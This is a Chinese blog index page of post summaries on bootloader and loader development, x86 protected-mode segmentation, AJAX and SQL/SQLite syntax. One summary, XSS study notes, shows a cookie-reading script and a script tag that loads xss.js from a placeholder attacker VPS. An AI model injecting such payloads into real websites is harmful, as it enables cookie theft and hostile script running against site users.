摘要: Loader的任务 检测硬件信息:包括物理地址空间信息,VBE功能(用于配置显示模式),这部分代码还未完善,会在后续更新 处理器模式切换:这是最主要的部分,包括实模式到保护模式的切换,保护模式到IA-32模式的切换。 想内核传递数据:包括控制信息和硬件数据信息,这部分代码也在后续完善。 Loader 阅读全文
posted @ 2020-09-26 15:38 aPSYCHO 阅读(321) 评论(0) 推荐(0) 编辑
摘要: ajax使用标准流程代码 GET方式 <script> var xhr = new XMLHttpRequest(); //设置为GET方式 xhr.open('GET','data.php',true); xhr.send(); xhr.onreadystatechange( function() 阅读全文
posted @ 2020-08-01 13:18 aPSYCHO 阅读(113) 评论(0) 推荐(0) 编辑
摘要: XSS知识点小结 HTML中可以执行js代码的地方 在<script>标签中执行js代码 这是最常用方法 <script> alert(document.cookie);</script> <script src="http://<yourVPS>/xss.js"></script> 在HTML标签 阅读全文
posted @ 2020-07-31 12:04 aPSYCHO 阅读(469) 评论(0) 推荐(1) 编辑
摘要: 保护模式之分段机制 Notice 开启保护模式时分段机制是自动开启的,分页机制是可选的 段寄存器不再保存基地址,而是保存段选择子(Selector) GDTR和LDTR均为48bytes 简略表示保护模式下的分段机制 段寄存器中保持的段选择子在GDTR/LDTR指向的地址空间中的GDT/LDT中找到 阅读全文
posted @ 2020-06-11 14:41 aPSYCHO 阅读(445) 评论(0) 推荐(0) 编辑
摘要: 注意 : 此boot程序为软盘启动; 使用fat12文件系统来加载loader.bin 目前只在bochs虚拟机上跑通,尚未在物理机上运行 boot的任务 用引导扇区仅512bytes的空间实现一个简易的文件系统(fat12),并从文件系统中找到loader.bin文件,然后加载到指定物理内存地址, 阅读全文
posted @ 2020-03-01 20:07 aPSYCHO 阅读(474) 评论(0) 推荐(0) 编辑
摘要: 注意:外码一定参照主码(可以是其他表的主码,也可以时自己的),而且外码的列数一定要等于被参照表的主码列数。 参照完整性中比较麻烦的是违约处理,即当对被参照表进行update/delete/insert操作会破坏参照完整性时,参照表赢告诉被参照表应该怎么做。 所以参照表可以在定义外码时添加上on de 阅读全文
posted @ 2019-05-19 15:03 aPSYCHO 阅读(5214) 评论(0) 推荐(0) 编辑
摘要: 视图定义:create view [,...] as [with check option];其中[...]部分不设置,则使用子查询中的列名;子查询可以式任意的select语句。with check option表示对视图进行update,insert,delete时要保证行满足视图定义中的谓词条件(即子查询中的条件表达式); 视图删除:drop view [cascade]... 阅读全文
posted @ 2019-05-19 15:02 aPSYCHO 阅读(3264) 评论(0) 推荐(0) 编辑
摘要: mysql/sqlite中对第二种语法的支持是一样的。 数据删除:语法很简单 delete from <tableName> where <条件表达式>; #把满足条件的元组删除,where中也可以使用子查询 数据更新: update <tableName> set <column>=<newVal 阅读全文
posted @ 2019-05-16 10:35 aPSYCHO 阅读(356) 评论(0) 推荐(0) 编辑
摘要: 注意:这里的结果是是每个表的元组的笛卡尔积(即广义笛卡尔积,是关系代数中的概念,见课本关系代数部分)。 (3).列名表达式,常量,聚集函数以及这三者组成的任意运算公式 例如: mysql/sqlite>select id+1,'hello world' from test; 主要的聚集函数: cou 阅读全文
posted @ 2019-04-21 15:32 aPSYCHO 阅读(2097) 评论(0) 推荐(0) 编辑
摘要: database的查看: 加载的test.db会默认当作主数据库。 database的附加与分离: sqlite> attach database ['databaseNmae'] as ['alias']; #注意加引号 sqlite> detach database ['alias']; #注意 阅读全文
posted @ 2019-04-07 17:07 aPSYCHO 阅读(550) 评论(0) 推荐(0) 编辑